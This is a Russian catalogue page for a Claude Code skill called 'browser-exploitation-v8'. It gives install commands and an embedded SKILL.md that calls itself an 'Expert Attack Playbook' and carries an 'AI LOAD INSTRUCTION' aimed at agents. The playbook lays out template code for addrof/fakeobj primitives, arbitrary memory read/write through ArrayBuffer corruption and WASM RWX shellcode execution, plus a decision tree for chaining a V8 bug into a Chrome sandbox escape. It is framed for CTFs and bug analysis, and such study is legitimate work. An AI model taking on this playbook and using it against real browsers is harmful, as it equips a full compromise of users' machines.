К основному содержанию
скилл CX Codex

browser-exploitation-v8 — скилл для Claude Code: V8 и Chrome

Плейбук по эксплуатации уязвимостей JavaScript-движка: JIT type confusion, обход границ массива, побег из песочницы V8. Для CTF и разбора багов Chrome.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill browser-exploitation-v8 -a claude-code
Открыть на GitHub

Что делает browser-exploitation-v8

Скилл подсказывает агенту, как вести эксплуатацию V8 от начала до конца. Внутри разобраны конвейер компиляции (Ignition, Sparkplug, Maglev, TurboFan), типичные классы багов вроде устранения проверки границ или путаницы типов после оптимизации, а также примитивы addrof и fakeobj для получения адреса объекта и поддельной ссылки.

Дальше идут приёмы поверх этих примитивов: порча ArrayBuffer для произвольного чтения и записи памяти, страницы WASM с правами на исполнение, обзор песочницы V8 с pointer compression и побега из песочницы Chrome. Отдельный файл V8_EXPLOITATION_PATTERNS.md подгружается, когда нужны шаблоны кода и работа с раскладкой кучи и сборщиком мусора.

Скилл заточен под конкретную задачу: рендерер Chrome и его песочница. Если вы ищете общий разбор кучи или ROP для нативного кода, скилл сам отправляет к соседним материалам вроде heap-exploitation и stack-overflow-and-rop. Без понимания pointer compression и карт объектов толку от него мало, потому что именно на этом ломаются базовые модели.

Какие задачи решает

  • разобрать конвейер компиляции V8 и понять, где именно сработала оптимизация
  • собрать примитивы addrof и fakeobj под конкретный баг
  • получить произвольное чтение и запись через порчу ArrayBuffer
  • обойти песочницу V8 с pointer compression
  • подготовить побег из рендерера Chrome через IPC и Mojo

Примеры запросов агенту

  • разбери этот баг в V8: TurboFan убрал проверку границ, помоги построить addrof и fakeobj
  • как из порчи ArrayBuffer получить произвольное чтение памяти в V8?
  • объясни, как обойти песочницу V8 с pointer compression, и покажи шаблон кода

Как установить browser-exploitation-v8

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill browser-exploitation-v8 -a claude-code

2Вручную: положить файлы

~/.claude/skills/browser-exploitation-v8/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/browser-exploitation-v8/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о browser-exploitation-v8

Как установить browser-exploitation-v8 в Claude?

Выполните npx skills add yaklang/hack-skills --skill browser-exploitation-v8 -a claude-code. Скилл окажется в ~/.claude/skills/browser-exploitation-v8/SKILL.md.

Что делает browser-exploitation-v8?

Это плейбук по эксплуатации уязвимостей JavaScript-движка: разбор конвейера V8, JIT type confusion, примитивы addrof и fakeobj, порча ArrayBuffer и обзор побега из песочницы Chrome.

С какими скиллами он связан?

Скилл ссылается на sandbox-escape-techniques для побега из рендерера через IPC и Mojo, heap-exploitation для общих понятий кучи, stack-overflow-and-rop для ROP и binary-protection-bypass для обхода ASLR и NX.

Исходный текст

SKILL.md · MIT
---
name: browser-exploitation-v8
description: >-
  Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.
---

# SKILL: Browser / V8 Exploitation — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

## 0. RELATED ROUTING

- [sandbox-escape-techniques](../sandbox-escape-techniques/SKILL.md) — Chrome renderer sandbox escape via IPC/Mojo
- [heap-exploitation](../heap-exploitation/SKILL.md) — general heap concepts applicable to V8 heap
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — ROP concepts for native code execution after V8 escape
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — ASLR/NX bypass in browser context

### Advanced Reference

Load [V8_EXPLOITATION_PATTERNS.md](./V8_EXPLOITATION_PATTERNS.md) when you need:
- Detailed exploitation patterns and code templates
- Heap layout manipulation and GC interaction
- V8 sandbox bypass techniques
- Object map confusion patterns

---

## 1. V8 ARCHITECTURE

### Compilation Pipeline

```
JavaScript Source
    ↓ Parser
  AST (Abstract Syntax Tree)
    ↓ Ignition
  Bytecode (interpreted, profiling)
    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
  Baseline code (fast startup)
    ↓ Maglev (mid-tier, V8 ≥ 10.2)
  Mid-optimized code
    ↓ TurboFan (optimizing JIT)
  Optimized machine code (with speculative optimizations)
    ↓ Deoptimization (if speculation fails)
  Back to Ignition bytecode
```

### Key V8 Concepts

| Concept | Description |
|---|---|
| Tagged pointers | SMI (Small Integer): `value << 1`, HeapObject: `ptr \| 1` |
| Pointer compression | V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox) |
| Maps (Hidden Classes) | Define object shape: property names, types, offsets |
| Elements kinds | Internal array type: `PACKED_SMI_ELEMENTS`, `PACKED_DOUBLE_ELEMENTS`, `PACKED_ELEMENTS`, etc. |
| Write barrier | GC bookkeeping when heap pointers are written |
| Garbage collection | Orinoco GC: minor (Scavenge) and major (Mark-Compact) |

### Object Representation (64-bit, pointer compression)

```
HeapObject in V8 heap (compressed):
  +0x00: Map pointer (compressed, 32-bit offset)
  +0x04: Properties/Hash
  +0x08: Elements pointer (compressed)
  +0x0C: Length (for arrays)
  +0x10: Inline properties or backing store data
```

---

## 2. COMMON V8 BUG CLASSES

| Bug Class | Description | Example |
|---|---|---|
| JIT Type Confusion | TurboFan assumes wrong type after optimization | Speculative type guard eliminated, wrong operation applied |
| Incorrect Bounds Elimination | JIT removes array bounds check based on wrong range analysis | `CheckBounds` node eliminated → OOB access |
| Prototype Chain Confusion | Optimization assumes stable prototype, mutations invalidate | Prototype change after optimization → wrong property access |
| Turbofan Reduction Bug | Incorrect strength reduction or constant folding | Integer overflow in range analysis |
| Race Condition | SharedArrayBuffer + worker thread race | Type confusion via concurrent modification |
| Off-by-one in Builtin | Boundary error in built-in function implementation | String/Array bounds |
| Typer Bug | Incorrect type range computation in TurboFan | `Typer` says value is in [0, N] but can be N+1 |

### Triggering JIT Optimization

```javascript
function vuln(arr) {
    // ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
    vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);
```

---

## 3. EXPLOITATION PRIMITIVES

### addrof — Leak Object Address

```javascript
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object

function addrof(obj) {
    // Setup depends on specific bug
    // Typically: trigger type confusion so array reads obj ref as float
    object_array[0] = obj;
    return ftoi(confused_float_array[0]);  // float-to-int conversion
}
```

### fakeobj — Create Fake Object Reference

```javascript
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
//         read from confused object array → treated as object reference

function fakeobj(addr) {
    confused_float_array[0] = itof(addr);  // int-to-float conversion
    return object_array[0];                 // now a "pointer" to addr
}
```

### Building Arbitrary R/W from addrof + fakeobj

```javascript
// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);

// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W

function read64(addr) {
    // Set fake array's backing_store = addr
    write_to_fake_backingstore(addr);
    return fake_float64array[0];
}

function write64(addr, value) {
    write_to_fake_backingstore(addr);
    fake_float64array[0] = value;
}
```

---

## 4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

```javascript
function trigger(arr, idx) {
    // TurboFan thinks idx is always < arr.length
    // But due to bug, idx can exceed bounds
    return arr[idx];  // OOB read
}

// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length
```

### What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

```javascript
let arr1 = new Array(0x10);    // spray object
let arr2 = new Float64Array(0x10);  // target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2
```

---

## 5. ARRAYBUFFER ARBITRARY R/W

`ArrayBuffer`'s backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

```javascript
let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addr
```

### V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
- `ArrayBuffer.backing_store` is a **sandbox pointer** (within the V8 cage, 4GB region)
- Cannot directly point outside the V8 cage
- Need sandbox escape to get full process memory access

---

## 6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

```javascript
// Allocate WASM module → JIT compiles to RWX page
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → points to RWX page

// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcode
```

**Modern Chrome**: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

---

## 7. V8 SANDBOX

### Architecture (V8 ≥ 11.x)

```
Process Virtual Address Space:
┌──────────────────────────────────────┐
│  V8 Sandbox Cage (4GB region)        │
│  ├── V8 Heap (JS objects)            │
│  ├── ArrayBuffer backing stores      │
│  ├── WASM memory                     │
│  └── External pointer table          │
├──────────────────────────────────────┤
│  Process memory outside cage         │
│  ├── libc, Chrome code               │
│  ├── Stack                           │
│  └── Other allocations               │
└──────────────────────────────────────┘
```

### Sandbox Escape Vectors

| Vector | Method |
|---|---|
| External pointer table | Corrupt entries in the external pointer table to reference arbitrary addresses |
| WASM code pointer | Overwrite WASM function entry to jump to controlled shellcode |
| JIT code corruption | Write to JIT code page via race condition or confused pointer |
| Mojo IPC (Chrome) | Exploit Chrome IPC to attack browser process from compromised renderer |
| Backing store seal bypass | Find type confusion to get unsandboxed pointer |

---

## 8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

| Stage | Target | Example |
|---|---|---|
| Renderer exploit | V8 / Blink DOM | Type confusion → shellcode |
| IPC/Mojo bug | Chrome IPC layer | Use-after-free in Mojo interface |
| Browser process exploit | Privileged browser process | Code execution outside sandbox |

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

---

## 9. TOOLS

```bash
# V8 debugging
d8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)
d8 --trace-turbo exploit.js           # Dump TurboFan IR
d8 --print-opt-code exploit.js        # Print optimized machine code

# Turbolizer: visual TurboFan IR graph
# Chrome DevTools Memory panel: heap snapshots

# Build V8 for debugging
git clone https://chromium.googlesource.com/v8/v8.git
gclient sync
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
ninja -C out/debug d8
```

---

## 10. DECISION TREE

```
V8 vulnerability identified
├── Bug type?
│   ├── JIT type confusion → trigger optimization, confuse array element kinds
│   ├── Bounds check elimination → OOB read/write on array
│   ├── Typer bug → incorrect range leads to OOB
│   └── Builtin bug → direct memory corruption primitive
│
├── Build primitives
│   ├── Can confuse object array ↔ float array?
│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap
│   ├── OOB on array?
│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│   └── Direct write primitive?
│       └── Target WASM instance or ArrayBuffer metadata
│
├── V8 sandbox enabled?
│   ├── YES (modern Chrome) →
│   │   ├── R/W limited to V8 cage (4GB)
│   │   ├── Need sandbox escape: external pointer table corruption,
│   │   │   WASM code pointer overwrite, or Mojo bug
│   │   └── Then proceed to shellcode execution
│   └── NO (older V8, CTF, d8) →
│       ├── Corrupt ArrayBuffer backing_store → absolute R/W
│       └── Overwrite WASM RWX page → shellcode
│
├── Code execution method
│   ├── WASM RWX page available? → write shellcode, call WASM func
│   ├── JIT code writable? → overwrite JIT code
│   └── ROP needed? → corrupt stack or return address
│
└── Full browser exploit chain
    ├── Stage 1: V8 bug → renderer RCE
    ├── Stage 2: Mojo IPC bug → browser process compromise
    └── Stage 3: OS-level escalation (if needed)
```

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
agent-browser vercel-labs Скилл управляет браузером через CLI: открывает страницы, заполняет формы, нажимает кнопки и проверяет веб-приложения. Подходит для задач, где агенту нужно действовать в интерфейсе. CX Codex +1 1 200 000установок browser-use browser-use Даёт агенту живой Chrome через CDP: клики, ввод, скриншоты и страницы, которым нужен JS или ваша логин-сессия. CX Codex +1 98 200установок opencli-browser jackwener Скилл управляет Chrome через OpenCLI: читает страницы, работает с авторизованными сайтами и собирает данные о сетевых запросах. CX Codex +1 20 200установок browser browserbase Скилл управляет браузером через утилиту browse. Пригодится для сбора данных, кликов по интерфейсу, заполнения форм и обхода защиты на сайтах. CX Codex +1 5 900установок browser-screenshot zc277584121 Делает снимок не всей страницы, а конкретного блока: поста, твита, графика, куска статьи. Пригодится, когда нужна иллюстрация без меню и рекламы. CX Codex +1 4 100установок dev-browser SawyerHood Управляй настоящим Chrome через короткие скрипты Puppeteer. Именованные страницы сохраняются между запусками, так что можно продолжить работу с того же места. CX Codex +1 2 500установок

Из того же набора93

mobile-ssl-pinning-bypass Плейбук по обходу SSL pinning в мобильных приложениях: методы для Android и iOS, отдельные приёмы под Flutter, React Native и Xamarin. CX Codex +1 3 600установок insecure-source-code-management Находит забытые репозитории .git, .svn, .hg и открытые дампы конфигураций вроде .env. Помогает извлечь исходный код при авторизованном аудите безопасности. CX Codex +1 3 600установок crlf-injection Плейбук по CRLF-инъекциям: подстановка символов возврата каретки и перевода строки в заголовки ответа, редиректы и логи. Пригодится на пентесте, когда сканеры молчат. CX Codex +1 3 600установок symbolic-execution-tools Плейбук по символьному исполнению: помогает агенту писать рабочие скрипты на angr, Z3 и Unicorn для реверса бинарей и CTF. CX Codex +1 3 600установок csp-bypass-advanced Скилл для разбора слабых мест Content Security Policy: где политика не закрывает директиву, где можно увести данные без JavaScript. CX Codex +1 3 600установок race-condition Скилл для проверки веб-приложений на гонки и TOCTOU: параллельные запросы, обход лимитов, одноразовые операции. CX Codex +1 3 600установок http-parameter-pollution Скилл помогает моделировать атаки HTTP Parameter Pollution, когда WAF, прокси и бэкенд по-разному читают дубликаты параметров в запросе. Пригодится при аудите безопасности API. CX Codex +1 3 600установок deserialization-insecure Скилл помогает искать небезопасную десериализацию в Java, PHP и Python и разбирать возможные цепочки атак. Нужен для аудита исходников и сетевых признаков. CX Codex +1 3 600установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой